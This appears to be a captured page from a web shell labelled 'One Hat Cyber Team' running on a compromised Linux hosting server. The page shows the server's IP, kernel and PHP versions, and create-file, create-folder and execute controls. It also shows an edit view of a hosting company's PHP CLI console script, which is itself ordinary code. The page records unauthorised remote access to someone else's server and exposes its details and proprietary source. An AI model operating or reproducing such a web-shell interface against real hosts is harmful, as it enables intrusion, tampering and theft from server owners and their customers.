One Hat Cyber Team
Your IP :
216.73.217.131
Server IP :
185.33.55.30
Server :
Linux cl30.webspacecontrol.com 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.1.34
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
cxs2
/
app
/
cli
/
Edit File:
console.php
<?php /** * console, CXS 2.0 CLI Console * * @copyright Copyright (c) 2007 DotRoll Kft. (http://www.dotroll.com) * @author Zoltán Istvanovszki <zoltan.istvanovszki@dotroll.com> * @since 2017.04.20. * @package domainabc.hu */ use Phalcon\Autoload\Loader; use Phalcon\CLI\Console; use Phalcon\Config\Adapter\Ini as IniAdapter; use Phalcon\Db\Adapter\Pdo\Mysql; use Phalcon\Di\FactoryDefault\Cli; use Phalcon\Logger\Logger; use Phalcon\Logger\Adapter\Stream; use Phalcon\Logger\Formatter\Line as LineFormatter; \ini_set('error_reporting', \E_ALL ^ \E_DEPRECATED); \error_reporting(\E_ALL ^ \E_DEPRECATED); \date_default_timezone_set('Europe/Budapest'); \mb_internal_encoding('UTF-8'); \setlocale(\LC_ALL, 'en_US.UTF-8'); #[AllowDynamicProperties] class CxsConsole extends Console { /** * Enviroment (dotroll, microware) * @var string */ protected $enviroment = 'dotroll'; /** * Configuration * @var array */ protected $config; /** * Logger object * @var Logger */ protected $logger; /** * Command line arguments * @var array */ protected $arguments = []; /** * Default main method for workers */ public function main(string $task) { try { $this->arguments['task'] = $task; /** * Process the console arguments */ foreach ($_SERVER['argv'] as $k => $arg) { if ($k === 1) { $this->arguments['action'] = $arg; } elseif ($k >= 2) { $this->arguments['params'][] = $arg; } } // Setting up config $this->config = new IniAdapter(\APP_PATH . 'config/application.ini'); $hostname = \gethostname(); foreach ($this->config->enviroments as $env => $data) { foreach ($data as $host) { if ($hostname == $host) { $this->enviroment = $env; } } } $this->config->merge(new IniAdapter(\APP_PATH . 'config/' . $this->enviroment . '.ini')); (new Loader())->setDirectories( [ \APP_PATH . 'libs/', \APP_PATH . 'tasks/', \APP_PATH . 'models/', ] )->setFiles( [ \ROOT_PATH . 'vendor/autoload.php' ] )->register(); // Setting up services // Create a DI $di = new Cli(); $adapter = new Stream($this->config->application->logpath, ['mode' => 'a']); $adapter->setFormatter(new LineFormatter("%date% - %message%", 'Y-m-d H:i:s')); $this->logger = new Logger('messages', ['main' => $adapter]); // Set logger $di->set('logger', $this->logger); // Set config to DI $di->set('config', $this->config); $this->setDI($di); foreach ($this->config->components as $name => $class) { $di->setShared($name, [ 'className' => $class, 'calls' => [['method' => 'onConstruct']] ]); } $di->setShared('console', $this); $this->handle($this->arguments); } catch (\Exception $ex) { self::error($ex->getMessage(), $ex->getTrace()); } } /** * Create DB connection and reconnect it if is exist in a dependency injection service */ public function reconnect() { if ($this->di->has('db') === false) { $this->di->set('db', new Mysql([ 'host' => $this->di->get('config')->db->host, 'username' => $this->di->get('config')->db->username, 'password' => $this->di->get('config')->db->password, 'dbname' => $this->di->get('config')->db->dbname, 'charset' => 'utf8', 'dialectClass' => LegacyMysqlDialect::class, 'options' => [\PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC] ]) ); } else { $this->di->get('db')->connect(); } } /** * A fatal, unrecoverable error occured during initialization. This function * exists out of the daemon effectively terminating all inner workings. * * @param type $error Error message * @param type $backtrace backtrace * @param type $exit */ public static function error($error, $backtrace = [], $exit = true) { \syslog(\LOG_ERR, \date('Y-m-d H:i:s ') . $error); \ZebraZ::l($error); if (!\is_array($backtrace) || !\count($backtrace)) { $backtrace = \debug_backtrace(); \array_shift($backtrace); } foreach ($backtrace as &$btentry) { $line = ' at '; if (\array_key_exists('class', $btentry)) { $line .= $btentry['class'] . '::' . $btentry['function']; } else if (\array_key_exists('function', $btentry)) { $line .= $btentry['function']; } if (\array_key_exists('file', $btentry)) { $line .= '(' . $btentry['file']; if (\array_key_exists('line', $btentry)) { $line .= ':' . $btentry['line']; } $line .= ')'; } \syslog(\LOG_ERR, \date('Y-m-d H:i:s ') . $line); \ZebraZ::l($line); } if ($exit) { exit(139); } } }
Simpan